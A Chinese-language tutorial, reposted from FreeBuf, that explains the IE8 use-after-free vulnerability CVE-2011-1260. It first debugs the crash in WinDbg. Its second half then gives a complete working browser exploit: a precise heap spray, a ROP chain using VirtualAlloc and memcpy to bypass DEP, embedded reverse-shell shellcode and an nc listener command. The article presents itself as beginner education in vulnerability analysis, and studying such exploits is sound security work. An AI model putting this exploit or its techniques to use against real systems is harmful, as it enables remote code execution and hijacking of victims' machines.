针对网页木马(CVE-2011-1260)的分析与实践

安全 黑客攻防 应用安全
很多人了解过pwn2own大赛,很想深入去了解这到底是什么啊,想必很多人都想找一篇从零基础教学的漏洞分析文章,本例就是一个经典的利用IE UAF漏洞进行远程代码执行的完整过程,用本例来阐述到底什么是网页木马以及它的具体原理...

本文假设你对漏洞挖掘,漏洞分析,汇编这些不太了解,但是对C,C++有一定了解。首先我们找一个具体的公开的例子——CVE-2011-1260,释放后重用漏洞。首先我们上网找一下这个漏洞的POC,得到如下(运行环境XP SP3,IE8,开启DEP(稍后解释什么是DEP)):

  1. <html> 
  2. <body> 
  3. <script language=;javascript;> 
  4. document.body.innerHTML+="<object hspace=;1000;   width=;1000;>TAG_1</object>"; 
  5. document.body.innerHTML+="<a id=;tag_3; style=;bottom:5000px;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px; >TAG_3</a>"; 
  6. document.body.innerHTML += "AAAAAAA"; 
  7. document.body.innerHTML+="<strong style=;font-size:1000pc;margin:auto -25000px auto auto;; dir=;ltr;>TAG_11</strong>"; 
  8. </script> 
  9. </body> 
  10. </html> 

0×1 漏洞分析

我们双击打开,发现IE崩溃了,到底是什么原因呢?
我们用windbg附加进程(调试IE最好还是用微软的调试器,毕竟微软主场):附加后,按g,回车,如果限制了activeX控件运行,就按允许,然后windbg在崩溃的时候停止了:

 

从eax+70的地址取出数据,显然这个地址不合法,所以导致错误。我们按knL回车,从栈查看函数的调用情况:

不清楚栈的看这里,清楚的跳过:函数调用有很多种,这里指stdcall,在每一次调用之前,都会将参数压栈,从右到左,比如Void A(int a,int b),汇编就类似push,push,call,Call指令会将call指令的下一条指令的地址压栈,所以最后栈看起来是这样的:(注意,压栈是从高往低压)

[[134065]]

 对应源代码:

 

所以我们从栈中可以看出崩毁之前调用过什么函数,以及现在在什么函数里面,函数返回地址等等很多信息。

 这里我们可以看到是在CElement::Doc函数里面崩毁,看看附近的汇编指令:

 取ecx地址的内容返回给eax,但是eax是0,导致后来的内存读取错误,显然ecx出了问题。一般情况下,在thiscall中,第一个参数是this指针(用ecx传递),而对象+0x0h的地方储存的是虚函数表的地址,所以可得这里是取虚函数表偏移0×70的地方的虚函数指针,再调用这个虚函数。

显然这里的ecx就是CElement对象,这个对象是IE里面很多元素的父类,如(CObjectElement,对应<object>标签,CImgElement,对应<img>标签等等),而我们从POC中可以看出我们生成了一个<object>标签,所以我们可以推断这个是CObjectElement对象,那么这个对象从哪里来的呢?再看进入这个函数之前的汇编代码:

 取ebx地址的内容给ecx,那么ebx哪里来?我们用ida反汇编这个函数看看(在mshtml.dll)

 Ebx就是this指针,即ebx指向的地方就是CTreeNode,然后CTreeNode对象+0x0h的地方传给ecx(即偏移0x0h保存了对应的CElement指针),再传入CElement::Doc。那么CTreeNode和CElement有什么关系呢?

我们重新运行,然后定如下两个断点:

  1. bu  mshtml!CObjectElement::CreateElement+0x18 ".printf \"[%08x]\\n\",eax;g" 

在mshtml!CObjectElement::CreateElement+0×18出断下,并且打印eax的值,然后继续运行。从文字可以看出这个是构造CObjectElement的函数,里面会调用CObjectElement的构造函数,eax一般是函数返回的值,即这个对象的指针。
 

 函数中分配了一个0xDC的堆,显然这是这个对象的大小。

  1. bu  mshtml!CTreeNode::CTreeNode+0x8c ".printf \"allocated CTreeNode at %08x, ref to CElement %08x of tbale %08x\\n\", eax, poi(eax), poi(poi(eax));dds poi(eax) L 1;g" 
这个断点是在CTreeNode+0x8c地方断下,打印对象指针,对应的CElement指针(CTreeNode+0×0处保存对应CElement对象),以及对应的CElement对象的虚函数表地址。

定好断点,GO!

 从图可以看出,最后创建了一个CObjectElement对象在00201c30,然后立马又创建了与之对应的CTreeNode对象0338aa18,到了程序崩毁的地方,ebx(即CTreeNode对象)还是0338aa18,但是与之对应的CObjectElement对象(ecx)却改变了。

我们看00201c30的地方:

这里已经不是CObjectElement的虚函数表,说明这个对象已经被释放,所以与之对应的CTreeNode也在崩溃之前释放了,所以这里CTreeNode+0×0的CObjectElement指针也是错误的,所以指向的地方是00000000,然后读取虚函数表出错。我们定下断点:

  1. bu  mshtml!CTreeNode::Release+0x19 ".printf \"freeing CTreeNode at %08x, CElement at %08x, of table %08x\\n\", edx, poi(edx), poi(poi(edx)); g" 

这里可以看出,在IE崩溃前,CTreeNode已经释放了,然后崩溃时又引用了这个对象对应的CElement对象,然后call虚函数,导致程序出错。为什么会释放呢?因为<object>标签没指明clsid值,所以IE会释放这个标签,那么接下来我们可以干什么呢?#p#

0×2 漏洞利用

我们既然这个CTreeNode已经释放了,那么+0×0对应的CElement对象指针所指向的地方我们有无办法控制呢?我们发现最后崩溃时候ecx指向的地方很接近之前CObjectElement分配到的地方,而且这个地方已经释放了,我们知道,当一个对象的内存空间释放后,如果我们大量申请内存,我们迟早会用到这个之前释放的内存空间,因为本来内存就那么多,要循环利用嘛。如果我们大量申请和CObjectElement相同大小的堆块,我们会不会把ecx指向的地方覆盖呢?我们试试:

 

 

果然,ecx指向的地方已经被0x0c0c0c0c覆盖,根据汇编代码,之后会call [0x0c0c0c0c+0x70]

然后我们能把0x0c0c0c0c+0×70写上某个地址,然后eip就会跳到这个地址执行我们指定的代码,进而pwn IE 8。

那我们有什么办法在0x0c0c0c0c这里写上我们要写的数据呢?也是老方法,通过大量申请堆块,我们迟早会把0x0c0c0c0c这里覆盖成我们的内容。

这是如果没有DEP的话,我们直接用大量的nops+shellcode覆盖内存,然后精确计算在0x0c0c0c0c+0×70的地方填上我们shellcode的地址,我们就能跳去shellcode运行啦。但是这里有DEP。DEP就是如果这块内存没有执行权限的话,即使EIP跳到这里,它也不能执行代码。而我们通过大量申请堆块而放置shellcode的地方,系统是不允许在这里运行指令的。这时候,我们可以用ROP绕过DEP。ROP就是在堆栈中压入若干个小程序的地址,不断控制EIP运行到这些小程序里,达到某种目的。因为不直接在不可运行的内存中运行代码,所以可以绕过DEP。等下我会具体举例子。

要绕过DEP,我们可以通过VirtualAlloc+memcpy的方法,前者可以分配一个内存属性为可读可写可执行的内存区域,然后用memcpy把我们的shellcode复制过去。然后EIP跳到这个区域运行shellcode。(shellcode就是我们想要达到某种目的的代码,比如恶作剧可以是弹出一个对话框,把这些代码变成汇编的机器码,然后复制入内存里面,控制EIP跳至这里执行。)

首先我们要在0x0c0c0c0c的地方伪造一个栈,

通过MSDN查看我们要用的VirtualAlloc与memcpy函数的使用方法,最终我们决定利用两行代码绕过DEP(XP3下没有开启ASLR):

VirtualAlloc(分配的内存地址,内存大小,内存种类,内存属性)

  1. VirtuallAlloc(0x7f002000,0x00004000,0x00003000,0x00000040) 
  2. Memcpy(0x7f003000,0x0c0c0c80,0x00001000) 

然后我们构造栈结构如下:

然后我们要想办法把esp(指向栈顶)指向0x0c0c0c0c,由于我们已经控制EIP(0x0c0c0c0c+0×70),所以如果我们在这里写入0x76a712ff,该处的指令为xchg eax,esp//ret。然后我们EIP指向0x76a712ff,交换eax和esp(eax这时指向0x0c0c0c0c),然后ret(ret指令就是将EIP变成[ESP],然后ESP+4),这时EIP会变成0x7C809AE1。前面我们已经说过,刚进入函数的时候,[ESP]是函数返回地址,即到最后ret会将EIP变成这个地址,然后下面的是参数,从低到高(从上到下)分别对应C语言中的从左到右,即0x7f002000,0×00004000,0×00003000,0×00000040。然后我们看VirtualAlloc返回的时候指令

 

Retn 10的意思是EIP变成[ESP],然后ESP+14,所以运行完retn 10后,我们会跳入0x7c921db3(memcpy),然后[ESP]是函数返回地址(0x7f001000),然后下面三个是参数,运行完这个函数后,我们会跳入返回地址0x7f001000运行shellcode。(函数调用的具体过程大家可以参考《C++反汇编与逆向分析》的第六章)

然后0x0c0c0c34-0x0c0c0c7c我们放入随意的数据,然后0x0c0c0c7c放入0x76a712ff,然后0x0c0c0c80我们放入我们的shellcode。

按理来说,只要我们把上面的数据我们组成一个块(block1),然后申请大量内存填入这些块,最终覆盖0x0c0c0c0c就可以了。但是又有问题来了,堆块申请的起始地址是会变的!!!例如,我们堆块开始可能的地方可能是0x0c0c0000也可能是0x0c0c0010,我们知道,如果这个地址变了,我们最终就无法令我们这个块一开始的地方准确地对准0x0c0c0c0c,然后我们0x0c0c0c0c+0×70的地方的数据就会将EIP指向一个错误的地方,然后bomb,IE又崩溃。

如果没有DEP,我们可以覆盖大量的NOP(1mb左右)+shellcode(几百字节),然后只要0x0c0c0c0c的地方是NOP就可以了(很大几率hit中nop),但是这里不行,我们要准确的堆喷射。在这里,我陷入了深深的沉思,我确实在这里想了很久的办法,网上找了资料,大部分说的都是nop+shellcode,没有准确的堆喷射,即使有,也看得不明白。后来我突然发现,我们块的起始地址有个共同的特点:

 

0c0a8040是堆块的起始地址,前8字节是块首,真正我们用的是0c0a8048开始,我们在JS里面喷射用过的是string类型,前4字节是保存string的大小,后2字节是0000表示字符串解释,所以我们这里发现,我们字符串起始的位置都是04c结尾有木有?!! 如果我们创建一个块大小是0×1000(block2),然后前面0xc0c-0×048=0xbc4字节放入nop,然后再放入我们上面的block1,然后后面全部放入nop。然后我们的内存全部塞满这样的块,我们是不是就保证了全部0xXXXXXc0c地址都对准了我们block1的起始位置?(包括0x0c0c0c0c)(这是我自己想到的方法,不知道大家有无别的好方法?)

接下来,我们就要写shellcode,这里我们用kail或者BT5的msfpayload生成一个反弹命令行至本地1024端口的JS版shellcode,然后加入我们的exp中。最终我们的exp如下(heapLib.js是一个网上大家用来堆喷射的库,某个牛人写的):

  1. <html> 
  2. <body> 
  3. <script src="heapLib.js"></script> 
  4. <script language=;javascript;> 
  5. var heap_obj0 = new heapLib.ie(0x20000); 
  6. var heapspray=;\u9ae1\u7c80\u1db3\u7c92\u2000\u7f00\u4000\u0000\u3000\u0000\u0040\u0000\u3000\u7f00\u3000\u7f00\u0c80\u0c0c\u2fff\u0000;; 
  7. while(heapspray.length<0x38
  8. heapsprayheapspray=heapspray+;\u9090\u9090;; 
  9. heapspray+=;\u12ff\u76a7;; 
  10. heapspray+=unescape("%ue8fc%u0089%u0000%u8960%u31e5%u64d2%u528b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%uc031%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf0e2%u5752%u528b%u8b10%u3c42%ud001%u408b%u8578%u74c0%u014a%u50d0%u488b%u8b18%u2058%ud301%u3ce3%u8b49%u8b34%ud601%uff31%uc031%uc1ac%u0dcf%uc701%ue038%uf475%u7d03%u3bf8%u247d%ue275%u8b58%u2458%ud301%u8b66%u4b0c%u588b%u011c%u8bd3%u8b04%ud001%u4489%u2424%u5b5b%u5961%u515a%ue0ff%u5f58%u8b5a%ueb12%u5d86%u3368%u0032%u6800%u7377%u5f32%u6854%u774c%u0726%ud5ff%u90b8%u0001%u2900%u54c4%u6850%u8029%u006b%ud5ff%u5050%u5050%u5040%u5040%uea68%udf0f%uffe0%u89d5%u68c7%u007f%u0100%u0268%u0400%u8900%u6ae6%u5610%u6857%ua599%u6174%ud5ff%u6368%u646d%u8900%u57e3%u5757%uf631%u126a%u5659%ufde2%uc766%u2444%u013c%u8d01%u2444%uc610%u4400%u5054%u5656%u4656%u4e56%u5656%u5653%u7968%u3fcc%uff86%u89d5%u4ee0%u4656%u30ff%u0868%u1d87%uff60%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff"); 
  11. var nops=unescape(;%u9090%u9090;); 
  12. while(nops.length<0x800
  13. nops+=nops; 
  14. block=nops.substring(0,0xBC0/2)+heapspray+nops.substring(0,0x800-0xBC0/2-heapspray.length); 
  15. while(block.length<0x40000
  16. block+=block; 
  17. final=block.substring(0,(0x20000-6)/2); 
  18. for(var i=0;i<0x1000;i++){ 
  19. heap_obj0.alloc(final,"test1"); 
  20. var obj_overwrite=unescape(;%u0c0c%u0c0c;); 
  21. var obj_size=0xe0
  22. while(obj_overwrite.length < 70){ 
  23. obj_overwrite+=obj_overwrite; 
  24. obj_overwriteobj_overwrite=obj_overwrite.slice(0,(obj_size-6)/2); 
  25. for(var i=0;i<5;i++){ 
  26. document.body.innerHTML+="<object align=;right; hspace=;1000;   width=;1000;>TAG_1</object>"; 
  27. var heap_obj = new heapLib.ie(0x10000); 
  28. for(var j=0;j<5000;j++){ 
  29. heap_obj.alloc(obj_overwrite,"test"); 
  30. document.body.innerHTML += "<a id=;tag_3; style=;bottom:200cm;float:left;padding-left:-1000px;border-width:2000px;text-indent:-1000px; >TAG_3</a>"; 
  31. document.body.innerHTML += "AAAAAAA"; 
  32. document.body.innerHTML += "<strong style=;font-size:1000pc;margin:auto -1000cm auto auto;; dir=;ltr;>TAG_11</strong>"; 
  33. </script> 
  34. </body> 
  35. </html> 

Nc.exe –l –p 1024就是监听1024端口,等待反弹shell。

以上,就是一个经典的利用IE UAF漏洞进行远程代码执行的完整过程,有了远程代码执行,木马还会远吗?由于本人菜鸟,难免会有错误的地方,希望大家一起能共同探讨学习。

所以大家知道上XX网的危害了吗?不要以为没下载病毒没事哦,恶意JS都能有exe的功能。

本文出自:http://www.freebuf.com/vuls/66865.html

 

责任编辑:honglu 来源: FreeBuf黑客与极客
相关推荐

2009-04-26 16:16:03

2014-07-21 10:27:54

2013-07-03 09:48:24

2013-06-19 10:03:42

2014-04-28 12:26:54

2011-05-11 13:05:13

2020-11-12 06:01:52

Linux勒索软件木马

2014-10-22 10:49:17

2012-11-26 09:38:46

2014-09-25 09:00:57

2020-07-29 07:00:00

GitHub漏洞密钥

2015-09-18 10:57:45

Web网页性

2015-08-27 10:19:04

2021-09-14 09:00:08

银行木马木马QakBo

2015-12-21 13:44:17

2010-09-08 15:50:15

2009-05-13 21:55:03

2022-06-14 09:00:21

漏洞补丁

2020-09-03 07:00:00

Salesforce测软件测试

2009-07-30 09:23:53

Java JNI
点赞
收藏

51CTO技术栈公众号